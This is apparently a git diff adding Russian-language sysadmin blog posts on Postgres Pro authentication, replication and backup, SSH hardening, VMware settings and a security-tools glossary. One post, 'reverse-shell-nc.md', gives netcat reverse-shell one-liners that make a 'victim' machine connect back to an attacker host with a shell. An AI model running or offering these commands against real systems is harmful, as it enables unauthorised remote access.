|
addprinc <username>
|
||||||
|
addprinc postgres
|
||||||
|
addprinc postgres/<pg-hostname>
|
||||||
|
q
|
||||||
|
```
|
||||||
|
|
||||||
|
### Экспорт субъекта-службы
|
||||||
|
```shell
|
||||||
|
ktutil
|
||||||
|
add_entry -password -p postgres/<pg-hostname>@<DOMAIN.NAME> -k 1 -e aes256-cts-hmac-sha1-96
|
||||||
|
wkt postgres.keytab
|
||||||
|
q
|
||||||
|
```
|
||||||
|
|
||||||
|
### Перенос субъекта-службы на сервер Postgres Pro
|
||||||
|
Перенести keytab можно как угодно, главное, чтобы он находился в папке с конфигурационными файлами Postgres Pro.
|
||||||
|
Я перенесу с помощью команды scp:
|
||||||
|
```shell
|
||||||
|
scp postgres.keytab postgres@<pg-hostname>:/var/lib/pgpro/std-13/data/
|
||||||
|
```
|
||||||
|
|
||||||
|
## Конфигурация сервера Postgres Pro
|
||||||
|
|
||||||
|
### Включение ранее перенесённого keytab
|
||||||
|
```shell
|
||||||
|
ktutil
|
||||||
|
read_kt postgres.keytab
|
||||||
|
q
|
||||||
|
```
|
||||||
|
|
||||||
|
### Изменение конфигруационного файла Postgres Pro
|
||||||
|
```shell
|
||||||
|
krb_server_keyfile = 'postgres.keytab'
|
||||||
|
listen_addresses = 'localhost, <pg-ip>'
|
||||||
|
|
||||||
|
# /var/lib/pgpro/std-13/data/postgresql.conf
|
||||||
|
```
|
||||||
|
|
||||||
|
### Разрешение подключения
|
||||||
|
```shell
|
||||||
|
hostgssenc all postgres localhost/32 gss include_realm=0
|
||||||
|
hostgssenc <database> <username> <client-ip>/32 gss include_realm=0
|
||||||
|
|
||||||
|
# /var/lib/pgpro/std-13/data/pg_hba.conf
|
||||||
|
```
|
||||||
|
|
||||||
|
### Получение тикета от Kerberos
|
||||||
|
```shell
|
||||||
|
kinit postgres
|
||||||
|
```
|
||||||
|
|
||||||
|
## Конфигурация клиента
|
||||||
|
|
||||||
|
### Получение тикета от Kerberos
|
||||||
|
```shell
|
||||||
|
kinit <username>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Подключение к Postgres Pro
|
||||||
|
```shell
|
||||||
|
psql -d <database> -h <pg-hostname> -U <username>
|
||||||
|
```
|
53
content/posts/postgres-ldaps.md
Normal file
53
content/posts/postgres-ldaps.md
Normal file
@ -0,0 +1,53 @@
|
|||||||
|
---
|
||||||
|
title: ldaps аутентификация в Postgres Pro
|
||||||
|
description: ad+ldaps+postgres
|
||||||
|
date: 2023-06-01T20:40:00+05:00
|
||||||
|
tags: [linux, postgres, ad, ldap, tls, windows]
|
||||||
|
---
|
||||||
|
## Выпуск сертфиката
|
||||||
|
AD необходимо дать роль CA и выпустить сертификат. Подробнее: https://youtu.be/xC3ujXGkh_c?t=160
|
||||||
|
|
||||||
|
## Перенос сертификата
|
||||||
|
Необходимо перенести выпущенный конечный сертификат на сервер СУБД и перекодировать следующей командой:
|
||||||
|
|
||||||
|
```shell
|
||||||
|
openssl x509 -inform der -in <ad>.cer -out <ad>.pem
|
||||||
|
```
|
||||||
|
|
||||||
|
## Установка пакета ldap-utils
|
||||||
|
```shell
|
||||||
|
apt install ldap-utils -y
|
||||||
|
```
|
||||||
|
|
||||||
|
## Правка ldap конфига
|
||||||
|
```shell
|
||||||
|
TLS_CACERT /etc/ldap/<ad>.pem
|
||||||
|
BASE dc=<domain>,dc=<local>
|
||||||
|
URI ldaps://<dc>.<domain>.<local>:636
|
||||||
|
|
||||||
|
# /etc/ldap/ldap.conf
|
||||||
|
```
|
||||||
|
|
||||||
|
## Проверка ldap
|
||||||
|
```shell
|
||||||
|
ldapsearch -x -b "dc=<domain>,dc=<local>" \
|
||||||
|
-H ldaps://<dc>.<domain>.<local>:636 -W -D <domain-user>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Правка pg_hba.conf
|
||||||
|
```shell
|
||||||
|
host <database> <user> <ip>/<mask> ldap ldapserver=<dc>.<domain>.<local> ldapprefix="cn=" ldapsuffix=",cn=users,dc=<domain>,dc=<local>"
|
||||||
|
|
||||||
|
# /var/lib/pgpro/std-14/data/pg_hba.conf
|
||||||
|
```
|
||||||
|
|
||||||
|
## Создание пользователя в Postgres
|
||||||
|
```shell
|
||||||
|
psql -c "CREATE USER <domain-user>;"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Перезапуск Postgres Pro
|
||||||
|
```shell
|
||||||
|
systemctl restart postgres*
|
||||||
|
```
|
||||||
|
|
35
content/posts/postgres-pro-astra-se.md
Normal file
35
content/posts/postgres-pro-astra-se.md
Normal file
@ -0,0 +1,35 @@
|
|||||||
|
---
|
||||||
|
title: Установка Postgres Pro на Astra Linux SE
|
||||||
|
description: Инструкция по установке из репозитория Postgres Proffessional
|
||||||
|
date: 2022-11-25T16:20:00+05:00
|
||||||
|
tags: [linux, astra, postgres]
|
||||||
|
---
|
||||||
|
## Добавление репозитория
|
||||||
|
``` shell
|
||||||
|
apt -y install gnupg
|
||||||
|
wget -O - http://repo.postgrespro.ru/keys/GPG-KEY-POSTGRESPRO | apt-key add -
|
||||||
|
echo "deb http://repo.postgrespro.ru/pgpro-14/astra-smolensk/1.7 1.7_x86-64 main" \
|
||||||
|
> /etc/apt/sources.list.d/pgpro.list
|
||||||
|
```
|
||||||
|
## Установка пакета
|
||||||
|
```shell
|
||||||
|
apt update
|
||||||
|
apt -y install postgrespro-std-14
|
||||||
|
```
|
||||||
|
|
||||||
|
## systemd
|
||||||
|
```shell
|
||||||
|
/opt/pgpro/std-14/bin/pg-setup service enable --now
|
||||||
|
ln -s /lib/systemd/system/postgrespro-std-14.service /etc/systemd/system/postgresql.service
|
||||||
|
```
|
||||||
|
|
||||||
|
## Обновление путей
|
||||||
|
```shell
|
||||||
|
/opt/pgpro/std-14/bin/pg-wrapper links update
|
||||||
|
```
|
||||||
|
|
||||||
|
## Смена пароля postgres
|
||||||
|
```shell
|
||||||
|
su - postgres
|
||||||
|
psql -c "ALTER USER postgres PASSWORD '<password>';"
|
||||||
|
```
|
82
content/posts/postgres-replication.md
Normal file
82
content/posts/postgres-replication.md
Normal file
@ -0,0 +1,82 @@
|
|||||||
|
---
|
||||||
|
title: Настройка физической репликации Postgres Pro
|
||||||
|
description: Потоковая репликация и репликация с архивом
|
||||||
|
date: 2022-11-25T16:51:00+05:00
|
||||||
|
tags: [linux, postgres, nfs]
|
||||||
|
---
|
||||||
|
## Установка Postgres Pro
|
||||||
|
Процесс установки описан в [этом посте](//fruw.org/posts/postgres-pro-astra-se).
|
||||||
|
|
||||||
|
## Потоковая репликация
|
||||||
|
Про различия в реализациях репликаций можно почитать вот [здесь](//edu.postgrespro.ru/dba3/dba3_04_replica_physical.pdf).
|
||||||
|
|
||||||
|
### Конфигурация master
|
||||||
|
Действия с Postgres Pro следует выполнять от имени пользователя postgres.
|
||||||
|
```shell
|
||||||
|
su - postgres
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Создание пользователя для репликации
|
||||||
|
```shell
|
||||||
|
psql -c "CREATE ROLE repuser WITH REPLICATION LOGIN ENCRYPTED PASSWORD '<password>';"
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Разрешение подключения для slave
|
||||||
|
Дописываем в конец файла:
|
||||||
|
```shell
|
||||||
|
host replication repuser <slave-ip>/32 md5
|
||||||
|
|
||||||
|
# /var/lib/pgpro/std-13/data/pg_hba.conf
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Реконфигурация
|
||||||
|
```shell
|
||||||
|
listen_addresses = 'localhost, <master-ip>'
|
||||||
|
wal_level = hot_standby
|
||||||
|
archive_mode = on
|
||||||
|
archive_command = 'cd .'
|
||||||
|
max_wal_senders = 8
|
||||||
|
hot_standby = on
|
||||||
|
|
||||||
|
# /var/lib/pgpro/std-13/data/postgresql.conf
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Перезапуск Postgres Pro
|
||||||
|
```shell
|
||||||
|
systemctl restart postgres
|
||||||
|
```
|
||||||
|
|
||||||
|
### Настройка slave
|
||||||
|
|
||||||
|
#### Выгрузка файлов с master
|
||||||
|
```shell
|
||||||
|
rm -rf /var/lib/pgpro/std-13/data/*
|
||||||
|
pg_basebackup -P -R -X stream -c fast -h <master-ip> -U postgres -D \
|
||||||
|
/var/lib/pgpro/std-13/data
|
||||||
|
```
|
||||||
|
|
||||||
|
## Репликация с архивом
|
||||||
|
Настройка репликации с архивом выролняется с некоторыми отличиями от потоковой репликации:
|
||||||
|
|
||||||
|
### Развёртывание NFS
|
||||||
|
WAL-архивы будут складываться на NFS. Как сконфигурировать NFS написано [здесь](//fruw.org/posts/linux-nfs).
|
||||||
|
Необходимо смонтировать NFS на master и slave в одинаковые директории.
|
||||||
|
|
||||||
|
### Дополнение к реконфигурации
|
||||||
|
```shell
|
||||||
|
archive_command = 'test ! -f /nfs/%f && cp %p /nfs/%f'
|
||||||
|
archive_cleanup_command = 'pg_archivecleanup -d /nfs %r 2>>cleanup.log'
|
||||||
|
|
||||||
|
# /var/lib/pgpro/std-13/data/postgresql.conf
|
||||||
|
```
|
||||||
|
|
||||||
|
## Синхронный и асинхронный режим репликации
|
||||||
|
При синхронной репликации, изменения применятся на основном сервере только после того, как они запишутся в WAL хотя бы одной реплики, а при асинхронной - сразу.
|
||||||
|
По умолчанию репликация работает в асинхронном режиме.
|
||||||
|
Для того, чтобы она работала в синхронном режиме, необходимо изменить две строки в конфигурационном файле Postgres Pro:
|
||||||
|
```shell
|
||||||
|
synchronous_commit = on
|
||||||
|
synchronous_standby_names = 'pgsql_0_node_0'
|
||||||
|
|
||||||
|
# /var/lib/pgpro/std-13/data/postgresql.conf
|
||||||
|
```
|
27
content/posts/postgres-simple-backup.md
Normal file
27
content/posts/postgres-simple-backup.md
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
---
|
||||||
|
title: Простой бэкап Postgres Pro
|
||||||
|
description: Используя pg_dump, pg_dumpall, pg_restore и cron
|
||||||
|
date: 2022-12-14T16:48:00+05:00
|
||||||
|
tags: [linux, postgres]
|
||||||
|
---
|
||||||
|
## Скрипт для бэкапа БД и глобальных объектов
|
||||||
|
```shell
|
||||||
|
#!/usr/bin/env bash
|
||||||
|
pg_dump -U <username> -h <pg-hostname> -Fc <db> --file=<db>-$(date '+%Y-%m-%d').dump
|
||||||
|
pg_dumpall -U <username> -h <pg-hostname> --globals --file=gb-$(date '+%Y-%m-%d').dump
|
||||||
|
|
||||||
|
# /home/<username>/pg-backup.sh
|
||||||
|
```
|
||||||
|
|
||||||
|
## Файл cron с запуском скрипта (каждый день в 2:00)
|
||||||
|
```shell
|
||||||
|
0 2 * * * /usr/bin/env bash /home/<username>/pg-backup.sh
|
||||||
|
|
||||||
|
# crontab -e -u <username>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Рестор файлов БД и глобальных объектов
|
||||||
|
```shell
|
||||||
|
pg_restore -C -d postgres <dbname>-<date>.dump
|
||||||
|
psql -U postgres < gb-<date>.dump
|
||||||
|
```
|
41
content/posts/postgres-tls.md
Normal file
41
content/posts/postgres-tls.md
Normal file
@ -0,0 +1,41 @@
|
|||||||
|
---
|
||||||
|
title: Соединение по TLS в Postgres Pro
|
||||||
|
description: С использованием scrum-sha-256
|
||||||
|
date: 2022-11-28T20:25:00+05:00
|
||||||
|
tags: [linux, postgres, tls]
|
||||||
|
---
|
||||||
|
## Создание сертификата
|
||||||
|
В этом посте я буду использовать самоподписанный сертификат, но сертификат от Let's Encrypt тоже подойдёт.
|
||||||
|
Сертификат и ключ желательно держать в той же папке, где лежат конфиги Postgres Pro.
|
||||||
|
``` shell
|
||||||
|
openssl req -x509 -newkey rsa:4096 -keyout <key>.pem -out <cert>.pem -sha256 -days 365
|
||||||
|
```
|
||||||
|
|
||||||
|
## Включение TLS
|
||||||
|
``` shell
|
||||||
|
ssl = on
|
||||||
|
ssl_cert_file = '<cert>.pem'
|
||||||
|
ssl_key_file = '<key>.pem'
|
||||||
|
listen_addresses = 'localhost, <master-ip>'
|
||||||
|
|
||||||
|
# /var/lib/pgpro/std-13/data/postgresql.conf
|
||||||
|
```
|
||||||
|
|
||||||
|
## Разрешение доступа через TLS
|
||||||
|
```shell
|
||||||
|
hostssl <user> <database> <client-ip> scram-sha-256
|
||||||
|
|
||||||
|
# /var/lib/pgpro/std-13/data/pg_hba.conf
|
||||||
|
```
|
||||||
|
|
||||||
|
## (ре)Генерация пароля
|
||||||
|
В случае, если до этого хеш-алгоритм пароля был не scram-sha-256, то необходимо пересоздать пароль:
|
||||||
|
```shell
|
||||||
|
psql -c \password
|
||||||
|
```
|
||||||
|
|
||||||
|
## Перезапуск Postgres Pro
|
||||||
|
```shell
|
||||||
|
systemctl restart postgres*
|
||||||
|
```
|
||||||
|
|
20
content/posts/reverse-shell-nc.md
Normal file
20
content/posts/reverse-shell-nc.md
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
---
|
||||||
|
title: Reverse Shell
|
||||||
|
description: Используя Traditional и OpenBSD Netcat
|
||||||
|
date: 2022-12-09T15:02:00+05:00
|
||||||
|
tags: [linux, ssh, hack]
|
||||||
|
---
|
||||||
|
## Машина атакующего
|
||||||
|
```shell
|
||||||
|
nc -lvp <port>
|
||||||
|
```
|
||||||
|
## Машина жертвы (Traditional Netcat)
|
||||||
|
```shell
|
||||||
|
nc <attacker-ip> <port> -e /bin/bash
|
||||||
|
```
|
||||||
|
|
||||||
|
## Машина жертвы (OpenBSD Netcat)
|
||||||
|
```shell
|
||||||
|
mkfifo /tmp/rev; nc <attacker-ip> <port> < /tmp/rev \
|
||||||
|
| /bin/bash 2>&1 | tee /tmp/rev > /dev/null
|
||||||
|
```
|
20
content/posts/run-nologin.md
Normal file
20
content/posts/run-nologin.md
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
---
|
||||||
|
title: Принудительное отключение создания файла nologin
|
||||||
|
description: Дедовским методом
|
||||||
|
date: 2023-04-06T18:25:00+05:00
|
||||||
|
tags: [linux]
|
||||||
|
---
|
||||||
|
## Комментим строку
|
||||||
|
|
||||||
|
В найденых файлах необходимо закомментить все строки с pam_nologin.so.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd /etc/pam.d
|
||||||
|
nano $(grep -Rl "pam_nologin.so")
|
||||||
|
```
|
||||||
|
|
||||||
|
## Перезагружаем машину
|
||||||
|
|
||||||
|
```bash
|
||||||
|
init 6
|
||||||
|
```
|
25
content/posts/security-solutions.md
Normal file
25
content/posts/security-solutions.md
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
---
|
||||||
|
title: Памятка по решениям в ИБ
|
||||||
|
description: EDR, UEBA, IAM/IDM, SOAR/IRP, SIEM
|
||||||
|
date: 2023-01-19T13:00:00+05:00
|
||||||
|
tags: [security]
|
||||||
|
---
|
||||||
|
# [EDR](//encyclopedia.kaspersky.ru/glossary/edr-endpoint-detection-response/) (Endpoint Detection and Response)
|
||||||
|
Класс решений для обнаружения и изучения вредоносной активности на конечных точках: подключенных к сети рабочих станциях, серверах, устройствах Интернета вещей и так далее. В отличие от антивирусов, задача которых — бороться с типовыми и массовыми угрозами, EDR-решения ориентированы на выявление целевых атак и сложных угроз.\
|
||||||
|
Примеры: [SOLDR](//github.com/vxcontrol/soldr), [Kaspersky EDR](//kaspersky.ru/enterprise-security/endpoint-detection-response-edr)
|
||||||
|
|
||||||
|
# [UEBA](//encyclopedia.kaspersky.ru/glossary/ueba/) (User and Entity Behavior Analytics)
|
||||||
|
Класс решений для выявления киберугроз, основанная на анализе поведения пользователей, а также устройств, приложений и иных объектов в информационной системе.\
|
||||||
|
Примеры: [OpenUBA](//github.com/GACWR/OpenUBA), [InfoWatch Prediction](//infowatch.ru/products/uba-sistema-prediction)
|
||||||
|
|
||||||
|
# [IAM](//anti-malware.ru/security/account-management-iam-idm?page=1) (Identity and Access Management)
|
||||||
|
Класс решений для автоматизации управления учетными данными и ролями пользователей информационных систем. Системы управления учетными записями также позволяют производить аудит доступа пользователей, обрабатывать электронные заявки на получение доступа и составлять отчеты.\
|
||||||
|
Примеры: [FreeIPA](//freeipa.org/page/Main_Page), [RooX UIDM](//uidm.ru)
|
||||||
|
|
||||||
|
# [SOAR](//encyclopedia.kaspersky.ru/glossary/security-orchestration-automation-and-response-soar/) (Security Orchestration, Automation and Response)
|
||||||
|
Класс программных продуктов, предназначенных для оркестровки систем безопасности, то есть их координации и управления ими. В частности, решения класса SOAR позволяют собирать данные о событиях информационной безопасности из различных источников, обрабатывать их и автоматизировать типовые сценарии реагирования на них.\
|
||||||
|
Примеры: [Shuffle](//shuffler.io/), [Security Vision SOAR](//securityvision.ru/products/irp/)
|
||||||
|
|
||||||
|
# [SIEM](//encyclopedia.kaspersky.ru/glossary/siem/) (Security Information and Event Management)
|
||||||
|
Класс программных продуктов, предназначенных для сбора и анализа информации о событиях безопасности.
|
||||||
|
Примеры: [Wazuh](//github.com/wazuh/wazuh), [MaxPatrol](//ptsecurity.com/ru-ru/products/mp8)
|
21
content/posts/selfsigned-to-trusted.md
Normal file
21
content/posts/selfsigned-to-trusted.md
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
---
|
||||||
|
title: Добавление самоподписанных сертификатов в доверенное хранилище
|
||||||
|
description: Astra Linux (Debian based)
|
||||||
|
date: 2023-05-12T18:20:00+05:00
|
||||||
|
tags: [linux, astra, tls]
|
||||||
|
---
|
||||||
|
## Получение корневого сертификата
|
||||||
|
```
|
||||||
|
echo quit | openssl s_client -showcerts \
|
||||||
|
-servername <websi.te> -connect <websi.te>:443 > <certificate>.crt
|
||||||
|
```
|
||||||
|
|
||||||
|
## Перемещение сертификата
|
||||||
|
```shell
|
||||||
|
cp <certificate>.crt /usr/local/share/ca-certificates
|
||||||
|
```
|
||||||
|
|
||||||
|
## Обновление состава доверенного хранилища
|
||||||
|
```shell
|
||||||
|
dpkg-reconfigure ca-certificates
|
||||||
|
```
|
52
content/posts/ssh-2fa-totp.md
Normal file
52
content/posts/ssh-2fa-totp.md
Normal file
@ -0,0 +1,52 @@
|
|||||||
|
---
|
||||||
|
title: Двухфакторная аутентификация для SSH
|
||||||
|
description: 2fa, totp, google-authenticator
|
||||||
|
date: 2022-11-29T13:35:00+05:00
|
||||||
|
tags: [linux, ssh]
|
||||||
|
---
|
||||||
|
## Установка пакета
|
||||||
|
```shell
|
||||||
|
apt install -y openssh-server libpam-google-authenticator
|
||||||
|
```
|
||||||
|
|
||||||
|
## Правка конфига PAM
|
||||||
|
```shell
|
||||||
|
auth required pam_google_authenticator.so
|
||||||
|
|
||||||
|
# auth required pam_google_authenticator.so
|
||||||
|
```
|
||||||
|
|
||||||
|
## Правка конфига ssh
|
||||||
|
```shell
|
||||||
|
ChallengeResponseAuthentication yes
|
||||||
|
|
||||||
|
# /etc/ssh/sshd_config
|
||||||
|
```
|
||||||
|
|
||||||
|
## Конфигурация аутентификации
|
||||||
|
Следующая команда сконфигурирует TOTP.
|
||||||
|
Запускать команду следует от имени того пользователя,
|
||||||
|
к которому будет инициализированно подключение.
|
||||||
|
```shell
|
||||||
|
google-authenticator
|
||||||
|
```
|
||||||
|
|
||||||
|
## Управление факторами (необязательно)
|
||||||
|
Включить запрос ключа при аутентификации:
|
||||||
|
```shell
|
||||||
|
AuthenticationMethods publickey,password publickey,keyboard-interactive
|
||||||
|
|
||||||
|
# /etc/ssh/sshd_config
|
||||||
|
```
|
||||||
|
|
||||||
|
Отключить запрос пароля при аутентификации:
|
||||||
|
```shell
|
||||||
|
#@include common-auth
|
||||||
|
|
||||||
|
# /etc/pam.d/sshd
|
||||||
|
```
|
||||||
|
|
||||||
|
## Перезапуск сервиса ssh
|
||||||
|
```shell
|
||||||
|
systemctl restart ssh
|
||||||
|
```
|
15
content/posts/ssh-auth-by-key.md
Normal file
15
content/posts/ssh-auth-by-key.md
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
---
|
||||||
|
title: Беспарольная аутентификация для SSH
|
||||||
|
description: С помощью публичного ключа
|
||||||
|
date: 2022-12-14T12:04:00+05:00
|
||||||
|
tags: [linux, ssh]
|
||||||
|
---
|
||||||
|
## Генерация ключа
|
||||||
|
```shell
|
||||||
|
ssh-keygen
|
||||||
|
```
|
||||||
|
|
||||||
|
## Копировние ключв
|
||||||
|
```shell
|
||||||
|
ssh-copy-id <username>@<server-ip>
|
||||||
|
```
|
29
content/posts/ssh-fail2ban.md
Normal file
29
content/posts/ssh-fail2ban.md
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
---
|
||||||
|
title: fail2ban для SSH
|
||||||
|
description: Защита от брута пароля к SSH
|
||||||
|
date: 2022-11-29T13:41:00+05:00
|
||||||
|
tags: [linux, ssh]
|
||||||
|
---
|
||||||
|
## Установка пакета fail2ban
|
||||||
|
```shell
|
||||||
|
apt -y install fail2ban
|
||||||
|
```
|
||||||
|
|
||||||
|
## Правило для ssh
|
||||||
|
``` shell
|
||||||
|
[sshd]
|
||||||
|
enabled = true
|
||||||
|
port = <ssh-port>
|
||||||
|
filter = sshd
|
||||||
|
logpath = /var/log/auth.log
|
||||||
|
maxretry = 3
|
||||||
|
findtime = 300
|
||||||
|
bantime = 3600
|
||||||
|
|
||||||
|
# /etc/fail2ban/jail.d/sshd.conf
|
||||||
|
```
|
||||||
|
|
||||||
|
## Перезапуск сервиса fail2ban
|
||||||
|
```shell
|
||||||
|
systemctl restart fail2ban
|
||||||
|
```
|
14
content/posts/vmware-clipboard.md
Normal file
14
content/posts/vmware-clipboard.md
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
---
|
||||||
|
title: Включение буфера VM в VMware ESXi/vSphere
|
||||||
|
description: У созданных VM будет включен буфер обмена по умолчанию
|
||||||
|
date: 2022-11-25T15:08:00+05:00
|
||||||
|
tags: [vmware]
|
||||||
|
---
|
||||||
|
## Изменение конфига
|
||||||
|
``` shell
|
||||||
|
vmx.fullpath = "/bin/vmx"
|
||||||
|
isolation.tools.copy.disable="FALSE"
|
||||||
|
isolation.tools.paste.disable="FALSE"
|
||||||
|
|
||||||
|
# /etc/vmware/config
|
||||||
|
```
|
14
content/posts/vmware-restart-date.md
Normal file
14
content/posts/vmware-restart-date.md
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
---
|
||||||
|
title: Сброс времени при перезагрузке в VMware ESXi/vSphere
|
||||||
|
description: При перезагрузке гипервизора будет выставляться заданное время
|
||||||
|
date: 2022-11-25T15:18:00+05:00
|
||||||
|
tags: [vmware]
|
||||||
|
---
|
||||||
|
## Изменение скрипта
|
||||||
|
``` shell
|
||||||
|
#!/bin/sh ++group=host/vim/vmvisor/boot
|
||||||
|
esxcli system time set --day=20 --month=3 --year=2022 --hour=10 --min=0 --sec=0
|
||||||
|
exit 0
|
||||||
|
|
||||||
|
# /etc/rc.local.d/local.sh
|
||||||
|
```
|
15
content/posts/windows-disable-shutdown.md
Normal file
15
content/posts/windows-disable-shutdown.md
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
---
|
||||||
|
title: Отключение возможности выключения/перезагрузки/сна на Windows
|
||||||
|
description: Позволяет отключить определённую функцию
|
||||||
|
date: 2023-04-06T12:15:00+05:00
|
||||||
|
tags: [windows]
|
||||||
|
---
|
||||||
|
## Отключение
|
||||||
|
В ветке реестра выставить значение value на 1.
|
||||||
|
```
|
||||||
|
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDown
|
||||||
|
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideRestart
|
||||||
|
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSleep
|
||||||
|
|
||||||
|
# regedit
|
||||||
|
```
|
40
static/0x952C15AB751A65F6
Normal file
40
static/0x952C15AB751A65F6
Normal file
@ -0,0 +1,40 @@
|
|||||||
|
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
||||||
|
|
||||||
|
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
|
||||||
|
JQ==
|
||||||
|
=h847
|
||||||
|
-----END PGP PUBLIC KEY BLOCK-----
|
BIN
static/favicon.ico
Normal file
BIN
static/favicon.ico
Normal file
Binary file not shown.
After Width: | Height: | Size: 198 B |
BIN
static/fruworg.png
Normal file
BIN
static/fruworg.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 6.7 KiB |
1
themes/archie
Submodule
1
themes/archie
Submodule
@ -0,0 +1 @@
|
|||||||
|
Subproject commit 0f3a862fc89e1f4a56e4380b9f27b7b71f964a34
|
Loading…
Reference in New Issue
Block a user